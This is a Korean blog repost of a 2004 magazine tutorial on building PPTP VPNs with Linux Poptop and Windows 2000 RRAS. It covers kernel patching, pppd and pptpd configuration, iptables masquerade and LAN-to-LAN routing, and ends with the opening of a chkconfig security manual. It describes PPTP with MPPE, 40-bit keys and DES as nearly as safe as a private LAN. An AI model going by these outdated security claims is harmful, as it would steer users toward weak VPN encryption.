구축에 앞서 VPN의 개념을 파악해보자. VPN은 공중 통신망 기반 시설을 터널링 프로토콜과 보안 절차 등을 사용해 개별 기업의 목적에 맞게 구성한 사설 네트워크다. 자체망이나 전용회선의 개념을 인터넷과 같은 공중망을 통해 이용하는 것이다. VPN은 모든 회사들이 저마다 개별적으로 회선을 임대하는 것보다, 공중망을 공유함으로써 비용은 낮추면서도 전용회선과 거의 동등한 서비스를 사용하기 위해 활용된다. 또한 인증, 암호화, 복호화, 라우팅 등의 방식을 통해 데이터를 안전하게 처리할 수 있도록 지원한다.
VPN은 공중망을 통해 데이터를 송신하기 전에 데이터를 암호화하고, 수신측에서 복호화한다. 암호화는 데이터뿐 아니라, 부가적인 차원의 보안으로서 송수신지의 네트워크 어드레스도 포함한다. 또한 최근 모바일 업무가 증가함에 따라 모바일을 사용하는 직원들의 안전한 사내 네트워크 사용을 위해서도 VPN은 사용된다.


(그림 1) VPN을 이용한 LAN to LAN 구성



(그림 1)과 같이 3개의 사업장이 있을 때 각각의 사업장은 다른 사업장에 접근하기 위해서는 모든 장비에 공인 IP를 부여해야 한다. 이는 보안상 문제점을 지니며 IP를 확보하는 것 역시 부가 비용이 든다. 하지만 각각의 사업장을 VPN을 통해 터널을 생성하면 3개의 사업장이 하나의 네트워크 세그먼트를 구성하며 이를 통해 내부 IP를 사용하더라도 다른 사업장의 장비에 접근할 수 있다.
둘째, 리모트 액세스(Remote Access) VPN은 재택 근무나 모바일 근무와 같은 단독 사용자 환경에 적합한 구성이다. (그림 2)와 같이 외부의 사용자가 인터넷을 이용해 사업장의 VPN을 통해 터널을 생성하게 되면 모바일 사용자가 회사내의 사용자 혹은 자원에 로컬 네트워크에 속해있는 것과 같이 사업장내의 다른 자원에 접근할 수 있다.


(그림 2) VPN을 이용한 리모트 액세스 구성

VPN 솔루션은 마이크로소프트, 3Com 그리고 몇몇 다른 회사들이 PPTP라는 표준 프로토콜을 제안했으며, 시스코는 L2F, L2TP 등의 VPN 솔루션을 제공하고 있다. 최근의 노텔, 넷스크린, 시스코 장비들은 이같은 프로토콜을 모두 지원하고 있으므로, 서로 다른 장비를 이용하더라도 VPN 연결은 매우 손쉽게 구성할 수 있다. 기본적인 구성은 LAN to LAN VPN으로, 지사와 같은 멀티 유저 환경에서 프로토콜을 이용해 가상 네트워크를 만든다. VPN을 구성하는 프로토콜은 다음과 같다.


·IPSec 프로토콜
IPSec(Internet Protocol Security)은 보안을 위해 계획된 프로토콜로, RFC-2411에 정의돼 있다. 이전의 보안 기법들은 보안이 통신 모델의 애플리케이션 계층에 삽입됐다면 IPSec은 본질적으로 데이터 송신자의 인증을 허용하는 인증 헤더 AH와, 송신자의 인증과 데이터 암호화를 함께 지원하는 ESP(Encapsulating Security Payload), 키교환을 위한 IKE 등의 보안 서비스를 제공한다. AH는 MD5 또는 HMAC 알고리즘을 사용해 인증을 처리한다. ESP는 DES, RC5 등의 암호화 알고리즘을 사용해 데이터를 암호화한다. IKE 키관리 절차에서는 ISAKMP/Oakley 프로토콜과 같은 별개의 키 프로토콜들이 선택할 수 있다. 이같은 각 서비스에 관련된 명확한 정보는 IP 패킷 헤더의 뒤를 잇는, 헤더 속의 패킷에 삽입된다. AH가 무결성을 보장한다면 ESP는 보안성을 보장한다. 그리고 IPSec으로 전송시 전송 모드(Transport Mode)와 터널 모드(Tunnel Mode)를 지원한다.

·L2TP 프로토콜
L2TP(Layer 2 Tunneling Protocol)는 L2F 프로토콜을 향상시키기 위해 마이크로소프트의 PPTP와 시스코사의 L2F(Layer 2 Forwarding) 프로토콜이 결합돼 IETF가 산업 표준으로 제정한 터널링 프로토콜이다. 현재 L2TP v3는 L2TP를 확장해 일부 새로운 서비스 모델을 포함시켰다. 또한 PP만이 아닌 터널링 대안의 계층 2PDU에 대한 지원도 제공된다. LT2P는 IP, IPX, NetBEUI 트랙픽을 암호화 한 다음, IP 헤더로 캡슐화해 전송한다. PPP에서 제공되는 데이터 암호화 기법을 사용할 수도 있고 IPSec에 의해 제공되는 더 강력한 데이터 암호화 기법을 사용할 수 있다. 이때는 L2TP/IPSec라고 한다. L2TP와 IPSec의 결합 형태에서 연결은 DES(Data Encryption Standard) 알고리즘을 사용하는데, 이 알고리즘은 DES에 대해 하나의 56비트 키를, 3DES에 대해 세 개의 56비트 키를 사용한다. L2TP/IPSec 연결은 두 가지 수준의 인증을 요구한다. IPSec SA(보안 연결)를 작성해 L2TP 캡슐화 데이터를 보호하기 위해 L2TP/IPSec 클라이언트는 인증서나 미리 공유된 키를 사용해 컴퓨터 수준의 인증을 수행한다. IPSec SA가 성공적으로 작성되면 연결의 L2TP 부분에서 PPTP와 동일한 사용자 수준의 인증을 수행한다.

·PPTP 프로토콜
PPTP(Point-to-Point Tunneling Protocol)는 PPP의 확장으로 개발된 PPTP에서는 인터넷을 통한 새로운 수준의 강화된 보안과 멀티프로토콜 통신이 추가됐다. 인터넷 프로토콜인 TCP/IP를 그대로 이용하면서도 외부인은 접근할 수 없는 별도의 VPN을 운용할 수 있는 프로토콜이다. 특히 PPTP 지원하는 VPN을 통한 데이터 전송은 새로운 EAP(Extensible Authentication Protocol)를 사용하기 때문에 단일 LAN 내의 회사 사이트에서 데이터를 전송하는 것만큼이나 안전성을 보장한다. VPN 서버는 모든 보안 검사와 유효성 검사를 수행하고 데이터를 암호화해 보안되지 않는 네트워크를 통해 가상 터널을 생성해서 보다 안전하게 전송할 수 있다. 또한 개인 LAN to LAN 네트워크에 PPTP를 사용할 수도 있다. PPTP에서는 전화 접속 연결이 필요하지 않다. 그러나 컴퓨터와 서버가 IP로 연결돼 있어야 한다. IP LAN에 직접 연결돼 있으면서 서버와 접속할 수 있으면 LAN을 통한 PPTP 터널을 설정할 수 있다. 그러나 인터넷을 통해 터널을 만드는 중이고 일반적으로 ISP와의 전화 접속 연결을 통해 인터넷에 액세스하는 경우 터널을 설정하기 전에 전화 접속으로 인터넷에 연결해야 한다. 리눅스에서는 PPTPD라는 서버 데몬과 PPTP라는 클라이언트를 통해 VPN을 구성할 수 있다. 물론 PPTP 프로토콜을 통한 VPN을 구성함에 있어서 리눅스와 윈도우간의 서버 대 서버, 서버 대 클라이언트간의 구성이 가능하다.

·MPLS VPN
MPLS VPN은 고객별로 터널링하는 것으로 MPLS 코어를 운영하는 서비스 업체들에 의해 구현된다. 기업을 위한 주요 애플리케이션은 자사의 WAN 코어를 서비스 업체에 부분적이거나 모든 부분을 아웃소싱한다. MPLS의 특성을 이용해 서비스 업체들은 에지 라우터의 고객 어드레스 공간을 분리한 다음, 고객으로부터 트래픽이 서비스 업체의 코어에 들어오면 VPN 라벨이 IP 패킷에 첨부돼 터널 라벨 스위치 경로를 통해 전환된다.

·AToM
AToM(Any Transport over MPLS)은 서비스 업체 MPLS 네트워크에서 사용하기 위한 L2TP v3와 유사하게 동작한다. 2계층 프레임을 MPLS 네트워크로 전송하며, 목적지 상대방에 전송하기 전 고객 트래픽에 라벨을 붙인다는 점에서 MPLS VPN과 비슷하다. 하지만 확장된 라벨 전송 프로토콜 세션을 사용해 독특한 가상 회선이나 유사 회선 라벨과 협상, 다양한 2계층의 고객 트래픽을 규명한다는 점에서 차이가 있다. 서비스 업체 네트워크가 고객으로부터 패킷을 받게 되면, 패킷에 라벨을 붙이고 터널 LSP(Label Switched Path)를 사용해 변환, 목적지 에지 라우터에 보낸다. 수신하는 에지 라우터는 라벨을 벗기고 패킷을 순수한 2계층 PDU 형태로 고객 사이트에 포워딩한다.

이와 같은 대표적인 프로토콜 이외에도 AMTP(Ascend Tunnel Management Protocol), VTP(Virtual Tunneling Protocol), IP in IP 등의 방법이 있으나 실제로 IPSec, PPTP, L2TP가 가장 많이 사용되고 구현이 쉽다.


리눅스를 이용한 VPN 서버 구성 솔루션
윈도우와 함께 활용할 리눅스 VPN 프로그램을 살펴보자. FreeSWAN(www.freeswan.org)은 리눅스에서 IPSec 프로토콜을 이용해 서버를 구성할 수 있는 솔루션이다. 리눅스에서 FreeSWAN을 구성하기 위해서는 커널 컴파일로 커널에서 IPSec을 지원하게 만들어야 한다. 또한 서버에서 NAT를 지원해야 하므로 커널에서 NAT 기능을 사용하기 위해 iptables을 설정해야 한다. 커널 컴파일후 FreeSWAN을 설치한다. 이때 커널 패치가 이뤄지고 설치 후에는 /etc/ipsec.secrets와 /etc/ipsec.conf 파일을 통해 설정할 수 있다. 최신 커널인 2.6에는 IPSec 지원이 커널에 삽입돼 커널 패치를 하지 않아도 사용할 수 있다.
Poptop(www.poptop.org)은 리눅스에서 PPTP를 이용해 서버를 구성하는 솔루션이다. 리눅스에서 Poptop을 구성하기 위해서는 커널 컴파일을 통해 커널에서 PPP 방식을 지원할 수 있게 해야 한다. 이는 PPTP가 PPP를 이용해 구현됐기 때문이다. 또한 L2TPD(www.l2tpd.org)는 리눅스에서 L2TP를 이용해 서버를 구성할 수 있는 솔루션이다.


윈도우 2000으로 클라이언트 접속을 위한 서버 구성하기
이제 실제로 VPN을 구축해 보자. 여기에 사용된 장비는 펜티엄Ⅲ 700 CPU이며, 리눅스 커널 버전은 2.4.20 & 2.4.3 그리고 윈도우 2000 서버이다. 실제로 테스트가 이뤄질 때, 펜티엄 클래식 166Mhz에 메모리 32MB와 1GB의 하드디스크에 리눅스를 올려 구축했는데, 매우 원활하게 동작했다.
(그림 3)에서 클라이언트는 사설 IP 대역인 192.X.X.X의 IP에는 접속하지 못하므로 해당 서비스를 이용할 수 없다. 하지만 VPN을 이용할 경우 VPN 서버에 연결 후 서버로부터 가상의 IP인 192.168.1.10을 부여받으면서 서버와 같은 네트워크에 속하게 된다. 때문에 사설 IP로 할당된 전자우편이나 웹서비스를 이용할 수 있다.


(그림 3) LAN to 클라이언트 구성도(www.poptop.org 참조)
우선 클라이언트 접속을 위한 서버를 구성해 보자. 윈도우 2000의 라우팅 및 원격 액세스 서버 설치 마법사를 통해 구축을 시작한다(화면 1). 시작 → 프로그램 → 관리도구 → 라우팅 및 원격 액세스 선택 수동으로 구성한 서버를 선택하고 마친다.


(화면 1) 라우팅 및 원격 액세스 서버 설치 마법사 화면

라우팅 및 원격 액세스 서버가 설치되고 가동되면 서버에 접속한 원격 클라이언트에게 할당할 IP 대역을 설정한다(화면 2). 로컬 등록 정보 화면에서 서버 → 등록정보 → IP 탭을 선택한다.

(화면 2) 로컬 등록 정보 화면

원격 액세스 정책을 설정하기 위해 원격 액세스 정책 탭을 클릭해 새로 만들기를 선택한다(화면 3). 추가 탭을 눌러 다음과 같은 조건을 선택한다. Tunnel-Type 항목에 들어가 PPTP 선택하고, Windows-Group에서 클라이언트 계정에 필요한 그룹을 선택한다. 사용자 계정 그룹은 시작 → 프로그램 → 관리도구 → 컴퓨터관리 → 로컬사용자 및 그룹에서 관리로 들어간다. Day-And-Time-Restictions 항목에서 액세스 가능 시간대를 선택해준다.


(화면 3) 원격 액세스 정책 추가 화면

(화면 4) 원격 액세스 정책 권한 화면


원격 액세스 권한 허용을 선택한다(화면 4). 이로써 윈도우 2000 VPN 서버의 기본 설정을 마친 것이다.



리눅스/윈도우의 PPTP 프로토콜로 VPN 구성하기 ②
 출판일 :2004년 6월호

VPN을 운영하는 데는 다양한 프로토콜이 있다. 이중 PPTP(Point-to-Point Tunneling Protocol)는 TCP/IP 상에서 안전한 통신을 지원하고 멀티프로토콜 통신을 추가한 새로운 개념의 프로토콜이다. 또한 PPTP를 이용한 통신으로, 리눅스와 윈도우 간의 VPN을 쉽게 구축할 수 있다. 이 글을 통해 리눅스와 윈도우를 이용해 서버 대 서버, 서버 대 클라이언트를 구성하는 방법을 알아본다.



정낙수, 정민, 김규현_국민대학교 OSSRC 소속 개발자







리눅스 PoPtop으로 클라이언트 접속 서버 구성하기
리눅스 VPN 서버를 구성하기 위해서는 몇가지 다운로드가 필요하다.

·파일 다운 로드
www.kernel.org/pub/linux/kernel   / : 커널 
http://wlan.informatik.uni-bremen.de/doku/debian/download/sonstiges/ppp-2.4/ppp-2.4.1-n :  ppp-2.4.1-mppe.tar.gz
ftp://ftp.psy.uq.oz.au/pub/crypto/ssl/ssleay-0.9.0b.tar.gz : ssleay-0.9.0b.tar.gz
www.poptop.org    : pptpd-1.1.3-4.i386.rpm                                    

솔루션을 다운로드했다면, PPPD 설치(MSCHAP v2 & MPPE SUPPORT)를 실행한다.  

#] tar xvfz ppp-2.4.1-mppe.tar.gz
#] tar xvfz SSLeay-0.9.0b.tar.gz

#] cp SSLeay-0.9.0b/crypto/rc4/rc4.h ppp-2.4.1-openssl0.9.6mppe-MSCHAPv2fix/linux/
#] cp SSLeay-0.9.0b/crypto/rc4/rc4_enc.c ppp-2.4.1-openssl0.9.6mppe-MSCHAPv2fix/linux/
#] cd ppp-2.4.1-openssl0.9.6mppe-MSCHAPv2fix

#] ./configure
#] make
#] make install

#] cp pppd/pppd /usr/sbin/

커널 컴파일(MPPE-PPP SUPPORT)을 실행한다. 배포판 커널에도 PPP는 모듈로 설정돼 있지만 MPPE와 MSCHAPv2를 지원하지 않는 경우가 대부분이기 때문에 이를 추가해 커널을 다시 만들어야 한다. 커널 컴파일시 network-device-support에서 ppp-support 항목을 yes로 하고 ppp의 세부항목(async serial ports, sync tty ports, deflate compression, bsd-comression)은 꼭 module로 설정한다.
만약, 클라이언트가 VPN 서버 접속을 끊지 않은 상태에서 웹 검색 등을 지원하려면 VPN 서버에서 NAT를 지원해야 한다. iptables을 이용한 마스커레이드(masqurade)를 이용할 것이라면 iptables를 추가해서 컴파일해야 한다. 물론 ipchains를 통해 마스커레이드를 할 경우는 ipchain을 추가해야 한다.

#] cd /usr/src
#] ln -s /usr/src/linux-2.4.20 /usr/src/linux
#] gunzip linux-2.4.16-openssl-0.9.6b-mppe.patch.gz
#] mv linux-2.4.16-openssl-0.9.6b-mppe.patch linux
#] cd linux
#] patch -p1 < linux-2.4.16-openssl-0.9.6b-mppe.patch

#] cd /usr/src/linux/drivers/net/
#] vi Makefile
#] # 다음 6라인을
 obj-$(CONFIG_PPP) += ppp_generic.o slhc.o ppp_mppe.o
 obj-$(CONFIG_PPP_ASYNC) += ppp_async.o
 obj-$(CONFIG_PPP_SYNC_TTY) += ppp_synctty.o
 obj-$(CONFIG_PPP_DEFLATE) += ppp_deflate.o
 obj-$(CONFIG_PPP_BSDCOMP) += bsd_comp.o
 obj-$(CONFIG_PPPOE) += pppox.o pppoe.o
#] #다음 6라인으로 대체 한다. (ppp_mppe.o가 컴파일 안될 경우대비)
 obj-$(CONFIG_PPP) += ppp_generic.o slhc.o
 obj-$(CONFIG_PPP_ASYNC) += ppp_async.o
 obj-$(CONFIG_PPP_SYNC_TTY) += ppp_synctty.o
 obj-$(CONFIG_PPP_DEFLATE) += ppp_deflate.o ppp_mppe.o
 obj-$(CONFIG_PPP_BSDCOMP) += bsd_comp.o
 obj-$(CONFIG_PPPOE) += pppox.o pppoe.o

#] make menuconfig
#] make dep && make clean && make bzImage && make install && make modules && make #] modules_install
#] cd arch/i386/boot/
#] cp bzImage /boot/vmlinuz-2.4.20
#] cp Sysmap.map /boot/Sysmap.map-2.4.20

#] vi /etc/lilo.conf
   image=/boot/vmlinuz-2.4.20
   label=linux-2.4.20
   read-only
 
#] lilo

#] reboot

컴파일이 제대로 됐다면 /lib/modules/2.4.20/kernel/drivers/net/에 bsd_comp.o, ppp_async.o, ppp_deflate.o, ppp_synctty.o가 포함돼야 한다. 그 다음에 PPTPD를 설치하고, 설정한다.

rpm -Uvh pptpd-1.1.3-4.i386.rpm

/etc/modules.conf
#pptpd를 위해 추가해야할 설정
alias char-major-108 ppp_generic
alias tty-ldisc-3 ppp_async
alias tty-ldisc-14 ppp_synctty
alias ppp-compress-18 ppp_mppe
alias ppp-compress-21 bsd_comp
alias ppp-compress-24 ppp_deflate
alias ppp-compress-26 ppp_deflate

/etc/pptpd.conf
option /etc/ppp/options.pptpd
localip 192.168.10.200               #VPN 서버의 가상 IP로 설정됩니다.
remoteip 192.168.10.201-254      #VPN 클라이언트에게 배정될 IP 대역이 됩니다.

/etc/ppp/options.pptpd
#리눅스 VPN 클라이언트와 윈도우 VPN 클라이언트 접속을 위한 설정
name *                        #서버 name
lock                           #client에서 serial장치 외부 접근 방지
mtu 1450                      # client 에게 1450보다 많지 않은 패킷을 보내도록
mru 1450                      # client 에게 1450보다 많은 패킷은 보내지 않도록
proxyarp                       # client가 proxy ARP 목록 생성 금지
nodeflate                       # deflate compression을 사용하지 않는다
nobsdcomp                     # bsd-compression을 사용하지 않는다
auth                            # 인증 사용
+chap                          # chap 인증 사용
+chapms-v2                    # chapv2인증 사용
ipcp-accept-local               # 상대측 정보를 시스템의 local ip로 받는다
ipcp-accept-remote             # 상대측 정보를 시스템의 remote ip로 받는다
lcp-echo-failure 3              # 물리적으로 접속이 끊어질 경우 종료
lcp-echo-interval 5             # client가 연결 되어있는지 확인
deflate 0                       # deflate compression
mppe-128                      #mppe 암호화 사용
mppe-40
mppe-stateless

vi /etc/ppp/chap-secrets
username * password * 

첫번째 *는 VPN 서버 이름이 되고 두 번째 *는 username을 사용해서 접속한 클라이언트에게 할당할 IP를 적어주면 된다. *로 할 경우 서버에서 자동으로 /etc/pptpd.conf에 지정한 IP 대역에서 처리한다.
VPN 접속후 클라이언트는 VPN 서버를 거치기 때문에 VPN 서버에서 마스커레이드를 해주어야 한다. 그래야만 클라이언트의 패킷이 VPN 서버를 거쳐 VPN 서버의 내부로 흘러가지 않는다. 하지만 이는 VPN 서버에 부하를 주기 때문에 VPN을 이용하지 않을 경우에는 VPN을 끊고 웹 검색을 해야 한다. 커널 2.4 이후에는 iptables을 지원하므로 iptables를 통해 마스커레이드를 하고 그렇지않을 경우 ipchains을 사용한다면 ipchains을 이용한 마스커레이드를 해줄 수 있다. iptables을 이용한 마스커레이드는 다음과 같다.   

#] vi /etc/rc.d/rc.local
echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -A POSTROUTING -t nat -o ppp0 -j MASQUERADE
#] reboot

이와 같은 마스커레이드는 어떤 패킷 필터링도 하지 않은 상태다. 특정 패킷 필터링이 필요한 경우 추가시켜주면 된다.



리눅스/윈도우의 PPTP 프로토콜로 VPN 구성하기 ③
 출판일 :2004년 6월호

VPN을 운영하는 데는 다양한 프로토콜이 있다. 이중 PPTP(Point-to-Point Tunneling Protocol)는 TCP/IP 상에서 안전한 통신을 지원하고 멀티프로토콜 통신을 추가한 새로운 개념의 프로토콜이다. 또한 PPTP를 이용한 통신으로, 리눅스와 윈도우 간의 VPN을 쉽게 구축할 수 있다. 이 글을 통해 리눅스와 윈도우를 이용해 서버 대 서버, 서버 대 클라이언트를 구성하는 방법을 알아본다.



정낙수, 정민, 김규현_국민대학교 OSSRC 소속 개발자



서버 접속을 위한 LAN to 클라이언트 구성하기
이제 클라이언트 구성을 알아보자. 윈도우 서버와 윈도우 클라이언트를 이용해 VPN 접속하는데, VPN 서버 어드레스 입력이 필요하다.

·윈도우 2000 구성하기 
설정 → 네트워크 및 전화접속 연결 → 새연결 만들기 → VPN을 통한연결 → VPN 서버 어드레스 입력

·윈도우 XP 구성하기
시작 → 프로그램 → 보조프로그램 → 통신 → 새연결 만들기 → 회사네트워크에 연결 → VPN 연결 → 초기 연결을 사용 안함 → VPN 서버 어드레스 입력


(화면 5) 네트워크 연결 마법사를 이용한 VPN 클라이언트 설정


윈도우 서버와 PPTP 클라이언트를 이용한 VPN 접속하기 위해서는 파일 다운로드(pptpclient.sourceforge.net)가 필요하다.
PPP를 설치하기 위해 준비(MSCHAP v2 & MPPE)한다.

#] tar xvfz ppp-2.4.2
#] cd ppp-2.4.2
#] ./linux/mppe/mppeinstall.sh /usr/src/linux-2.4.20
 
커널 컴파일시 network-device-support에서 ppp-support 항목을 yes로 클릭하고 ppp의 세부항목은 꼭 module로 설정한다.

#] make xconfig
#] make dep && make clean && make bzImage && make install && make modules && make #] modules_install
#] cd arch/i386/boot/
#] cp bzImage /boot/vmlinuz-2.4.20
#] cp Sysmap.map /boot/Sysmap.map-2.4.20

#] vi /etc/lilo.conf
   image=/boot/vmlinuz-2.4.20
   label=linux-2.4.20
   read-only
 
#] lilo

#] reboot

PPP & PPTP를 설치, 설정한다.

#] cd ppp-2.4.2
#] ./configure
#] make
#] make install

#] tar pptp-linux-1.3.1
#] cd pptp-linux-1.3.1
#] make
#] make install

/etc/ppp/options.pptp
lock                               # client에서 serial장치 외부 접근 방지
noauth                            # 인증 사용 안함
nobsdcomp                        # bsd-compression을 사용하지 않는다
nodeflate                          # deflate compression을 사용하지 않는다
require-mppe-40                  # mppe 암호화 사용
require-mppe-128


/etc/ppp/peers/vpn
pty "pptp 210.121.xxx.xxx nolaunchpppd"#VPN 서버 IP
name xxxx                             # xxxx는 VPN 서버에 등록된 클라이언트 ID
require-mppe                          # mppe암호화 사용
require-mschap-v2                    # chapv2 인증 사용
file /etc/ppp/optios.pptp                # options.pptp 설정 사용
ipparam vpn         

vi /etc/ppp/chap-secrets
# ID  서버  패스워드 IP
xxxx  vpn  xxxx  *                   # id, 서버name, passward 기록

VPN 서버에 접속한다.

#] pppd call vpn

PPTP 클라이언트 GUI 설치한다. 리눅스에서도 PPTP 클라이언트용 GUI TOOL이 있다.

#] ./rpm -Uvh pptp-php-gtk.rpm     #GUI TOOL 설치
#] ./pptpconfig                       #TOOL 실행


(화면 6) PPTP GUI 툴

그 다음 Poptop과 윈도우 클라이언트를 이용해 VPN에 접속한다. 리눅스 서버인 Poptop과 윈도우의 원격접속 클라이언트는 서로 호환이 되기 때문에 이와 같이 설명한 방식은 윈도우 클라이언트를 구성해서 Poptop으로 구성된 서버에 연결해 사용할 수 있다.
Poptop과 PPTP를 이용해 VPN에 접속한다. 리눅스 서버인 Poptop과 리눅스 클라이언트인 PPTP의 설정은 이미 설명한 그대로 사용할 수 있다.

윈도우 서버를 이용한 LAN to LAN 구성하기
이제 LAN to LAN 구성을 해보자. (그림 4)는 LAN to LAN 혹은 게이트웨이 투 게이트웨이 간의 구성도이다. 그림의 클라이언트 내부 네트워크의 호스트인 A나 B는 NAT를 통해 클라이언트의 203.0.0.55를 인터넷에 연결할 수 있다. 하지만 (그림 4)에서와 마찬가지로 호스트 A나 B는 서버의 내부 네트워크인 전자우편이나 웹 서비스를 이용할 수 없다. 하지만 VPN을 이용할 경우 클라이언트의 요청에 의해 서버는 클라이언트와 가상 터널을 만들고 호스트 A나 B는 클라이언트와 서버의 가상 터널을 통해 서비스를 이용할 수 있다.

(그림 4) LAN to LAN 구성도


윈도우 2000 서버 버전을 이용해서 LAN to LAN을 구성할 경우 그림에서 클라이언트라고 표시된 부분과 서버라고 표시된 부분이 VPN 서버가 된다. LAN to LAN 구성은 크게, 필요할때마다 연결하는 것과 영구적으로 연결하는 것, 둘로 나눌 수 있다. 필요시 연결이라고 하면 클라이언트의 호스트 A가 메일 서버에 접속하기 위해 클라이언트에 요청을 하면 클라이언트와 서버 사이에 VPN이 생긴다. 생성된 VPN은 호스트 A나 호스트 B의 사용이 없는 경우 사라지게 된다. 영구 사용할 때 연결은 호스트의 요청이나 사용 여부에 관계없이 VPN이 존재한다. 

·필요시 연결 구성하기
① 양쪽 라우터가 VPN 서버가 될 수 있게 라우팅과 원격 액세스를 시작한다.
② 라우터간 연결을 위한 인터페이스를 설정한다.
③ 상대 라우터의 내부 네트워크 대역을 고정 경로 등록을 통해 기록한다.
④ (그림 4)의 A나 B의 요청이 있으면 연결 후 해제 

(그림 4)의 클라이언트와 서버의 설정은 고정 경로시 IP 설정이 상대편 대역으로 설정하는 것만 다르고 나머지 설정은 같다. 양쪽 라우터가 VPN 서버가 될 수 있게 라우팅과 원격 액세스를 시작한다(화면 7). 라우팅 인터페이스 → 새 필요시 전화 접속 인터페이스 선택한다.

(화면 7) 라우팅 및 원격 액세스 서버 설치 마법사

라우터간 연결을 위한 인터페이스를 설정한다(화면 8). 또한 연결 형식을 VPN을 사용해 연결로 선택한다(화면 9). 만들고자 하는 VPN의 인터페이스의 유형을 PPTP로 선택한다(화면 10).
LAN to LAN 연결이기 때문에 상대편 게이트웨이의 어드레스를 적어준다(화면 11). 원격 라우터 접속을 위한 계정을 사용할 수 있도록 설정한다(화면 12). 상대편 라우터가 접속할 때 사용할 계정이 된다(화면 13). 상대 라우터에 연결할 사용자 인증을 기록한다(화면 14).

(화면 8) 서버의 인터페이스 이름 설정
(화면 9) 연결 형식 선택
(화면 10) 프로토콜 방식 선택
(화면 11) 대상 어드레스 입력
(화면 12) 원격 라우터가 전화 접속하도록 사용자 계정 추가
(화면 13) 상대편 라우터가 접속할 때 사용할 계정
(화면 14) 상대 라우터에 연결할 사용자 인증 기록

상대 라우터의 내부 네트워크 대역을 고정 경로 등록을 통해 기록한다(화면 15). 경로는 IP 라우팅 → 고정 경로 → 새 고정 경로를 지정한다.

(화면 15) 고정 경로

우선 수준 등록 정보 중 라우팅 및 원격액세스 → IP라우팅 → 일반 → 등록정보 → 우선수준에서 경로원본의 고정 우선순위를 낮춘다(화면 16).

(화면 16) 우선수준 등록 정보

NAT를 위해 인터넷과 연결된 NIC의 등록정보에서 인터넷 연결 공유 탭을 활성화시킨다(화면 17).

(화면 17) 연결 공유탭

(그림 4)에서 클라이언트의 호스트 A 또는 B가 요청을 하면 VPN이 구성된다.

·영구 VPN을 연결하기 위한 구성
① 양쪽 라우터가 VPN 서버가 될 수 있도록 라우팅 및 원격 액세스를 시작한다.
② 라우터간 연결을 위한 인터페이스를 설정한다.
③ 상대 라우터의 내부 네트워크 대역을 고정 경로 등록을 통해 기록한다.
④ 클라이언트의 원격 액세스 정책을 설정한다.
⑤ 클라이언트의 요청이 있으면 영구적으로 연결된다.

기본 설정은 필요시 연결의 설정과 같다. 하지만 클라이언트의 원격 액세스 정책이 (화면 18)과 같이 달라지며 네트워크를 형성하기 위한 요청을 클라이언트가 된다. 또한 NAS-Port-Type → VPN을 선택하고, Called-Station-ID 선택 →게이트웨이 어드레스 입력한다.

(화면 18) VPN 등록 정보

Windows-Groups에서 클라이언트 계정에 필요한 그룹을 선택한다. 사용자 계정 그룹은 시작 → 프로그램 → 관리도구 → 컴퓨터관리 → 로컬 사용자 및 그룹에서 관리할 수 있다.

Poptop을 이용한 LAN to LAN 구성하기
Poptop을 이용한 LAN to LAN 구성을 위해서는 연결을 요청하는 쪽은 클라이언트가 되고 요청받는 쪽은 서버가 된다. 물론 클라이언트나 서버는 뒤쪽으로 내부 네트워크를 가지고 있다. LAN to LAN 연결 방식과 설정은 위에서 설명한 LAN to 클라이언트와 같다. 다만 내부 네트워크를 가지기 때문에 각 내부 네트워크 호스트의 패킷이 구성된 터널을 통과해야 하는지 아닌지에 대한 ROUTE 경로의 추가와 NAT가 필요하다. 때문에 클라이언트와 서버에 공통으로 상대편 내부 네트워크에 대한 고정 경로를 추가하고 iptables나 ipchains를 이용한 마스커레이드가 필요하다.

·고정 경로 추가하기
클라이언트에서
#] route add -net 192.168.0.0 netmask 255.255.0.0 dev ppp0

서버에서
#] route add -net 10.0.1.0 netmask 255.255.255.0 dev ppp0

·클라이언트 & 서버 iptables을 이용한 마스커레이드 
#] vi /etc/rc.d/rc.local
echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -A POSTROUTING -t nat -o ppp0 -j MASQUERADE
#] reboot

이와 같은 마스커레이드는 어떤 패킷 필터링도 하지 않은 것이다. 특정 패킷 필터링이 필요한 경우 추가시켜야 한다.

Poptop과 윈도우 VPN 서버를 이용한 LAN to LAN 구성하기
Poptop과 윈도우 VPN 서버와 연결할 때 그 설정은 이미 설명한 각 서버의 구성과 다르지 않다. (그림 2)에서 클라이언트는 윈도우 VPN 서버가 되고 서버는 Poptop으로 구성한다. 일단 윈도우의 설정은 이미 설명한 윈도우 서버를 이용한 LAN to LAN 구성 방식에서 필요할 때 설정 방법과 같다. 또한 Poptop의 설정 또한 이미 설명한 Poptop을 이용한 LAN to 클라이언트 구성 방식에서 LAN 쪽의 서버 구성 방식과 같다. 각각의 설정이 맞춰진 후 윈도우의 라우팅과 원격 액세스에서 라우팅 인터페이스 항목에서 추가한 VPN 인터페이스의 연결을 선택하면 Poptop과 윈도우 VPN 서버와의 LAN to LAN 구성이 이뤄진다.
VPN 서버를 구성할 경우 서두에 열거한 여러 프로토콜 중에서 어떤 것을 선택하는지 서버 구성자의 선택에 달려있다. 또한 VPN 장비를 사용해 구성할 것인지 리눅스를 이용해 저렴하게 구성할 것인지 또한 구성자의 몫이 된다.
Poptop을 이용한 서버 구성의 장점은 윈도우나 리눅스를 사용하는 클라이언트가 윈도우의 원격 접속이나 리눅스의 PPTP 툴 등을 통해 서버에 간편하게 접속할 수 있으며 윈도우나 리눅스의 다른 운영체제 하에서 LAN to LAN 구성할 수 있다는 것이다. 향후 와우리눅스의 엔터프라이즈 버전에도 이런 VPN 솔루션이 탑재될 예정이라고 하니 일반 사용자가 손쉽고 저렴하게 VPN을 구성할수 있는 날도 그리 멀지 않았다.

2006/09/08 22:38 2006/09/08 22:38
이 글에는 트랙백을 보낼 수 없습니다
Hacking  2006/09/08 22:37
리눅스 보안관련 문서 #5 - chkconfig 사용법(부팅시 수행되는 서비스)

1. 본 메뉴얼은 www.besthan.net 웹호스팅에서 서비스를 제공받은 고객님께 제공되는 메뉴얼 입니다.
이 메뉴얼은 저희 홈페이지에서 다시 보실수 있습니다.

2. 본 메뉴얼은 리눅스 서버 호스팅에서 필요한 부분만 요약한 메뉴얼 입니다.

3. 메뉴얼에 설명된 내용중 궁금하시거나, 설명이 잘못되었거나, 이상한 부분은 메일주시기 바랍니다.

자신의 서버를 부팅할 경우 어떤 데몬이 살아있고, 어떤 데몬이 죽어있고, 어떤 데몬을 사용할 수 있는가를
아는것이 해킹을 막을 수 있는 가장 유용한 방법입니다.

